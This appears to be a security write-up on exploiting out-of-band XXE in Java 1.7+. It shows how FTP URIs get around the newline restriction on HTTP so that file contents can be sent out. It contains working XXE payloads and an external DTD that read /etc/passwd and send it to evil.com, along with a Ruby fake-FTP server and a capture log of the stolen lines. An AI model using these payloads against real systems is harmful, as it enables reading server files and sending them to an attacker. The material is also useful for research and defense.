Java since 1.7 patched gopher:// schema (thanks A.Polyakov for that https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf)
But also patched HttpClient class.
Now Java doesn't convert multiline URIs by urlencode to valid one.
This fix produce "java.net.MalformedURLException: Illegal character in URL" exception when URL contains new lines and other command characters.
XXE payload:
<!ENTITY % b SYSTEM "file:///tmp/">
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'https://evil.com:8000/%b;'>">
%c;
XXE OOB attack technique first discovered at 2009 by T.Terada:
And rediscovered later by T.Yunusov and A.Osipov with additional features such as attribute entities
Fill the difference:
Java 1.7- :
Java 1.7- :
GET /.font-unix%0A.ICE-unix%0A.X11-unix%0AaprmovGRx%0Aasd%0AeTSrv%0Ahosts%0Alaunchd-277.sloRFO%0Alaunchd-492.s4PJbX%0Alaunchd-5486.ocD8IC%0Alaunchd-9800.eUprC8%0Alaunch-j7JvAs%0Alaunch-L6bUiQ%0Alaunch-WELXDr%0Apasswd%0Axxe.xml%0A HTTP/1.1
User-Agent: Java/1.6.0_65
...
Java 1.7+:
nothing!
Stack trace:
java.net.MalformedURLException: Illegal character in URL
at sun.net.www.http.HttpClient.getURLFile(HttpClient.java:583)
at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(HttpURLConnection.java:2298)
at sun.net.www.protocol.http.HttpURLConnection.writeRequests(HttpURLConnection.java:513)
...
at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:141)
at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:243)
at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:347)
This makes XXE OOB exploitation impossible.
We met this problem at security audit and solve it by using FTP and hacker's logic :) The main trick is that Java still have no URI validation in case of FTP.
Each line from multiline FTP URI will be requested as separate directory by CWD command. Each "/" char at line will be also separated to different CWD request.
For exploit it you need emulate FTP server of course.
require 'socket' server = TCPServer.new 8000 loop do Thread.start(server.accept) do |client| puts "New client connected" data = "" client.puts("220 xxe-ftp-server") loop { req = client.gets() puts "< "+req if req.include? "USER" client.puts("331 password please - version check") else puts "> 230 more data please!" client.puts("230 more data please!") end } end end
You can also put payload into username or password like this:
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://%b;:[email protected]:8000/'>">
or
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://aaa:%b;@evil.com:8000/'>">
And retrieve all data in only one request. But in this case you can not read files with ":" char (such as /etc/passwd) because:
java.net.MalformedURLException: For input string: "x:0:0:root:"
at java.net.URL.<init>(URL.java:619)
at java.net.URL.<init>(URL.java:482)
at java.net.URL.<init>(URL.java:431)
Finally got something like this:
XXE payload:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://evil.com/ext.dtd"> %asd; %rrr; ]> <a></a>
External DTD payload (hosted at http://evil.com/ext.dtd):
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://evil.com:8000/%b;'>">
$ ruby xxe-ftp-server.rb
New client connected
< USER anonymous
< PASS Java1.7.0_45@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD root:x:0:0:root:
> 230 more data please!
< CWD root:
> 230 more data please!
< CWD bin
> 230 more data please!
< CWD bash
> 230 more data please!
< daemon:x:1:1:daemon:
...
root:x:0:0:root:/root:/bin/bash -----/*slash separation*/-----> root:x:0:0:root: root: bin bash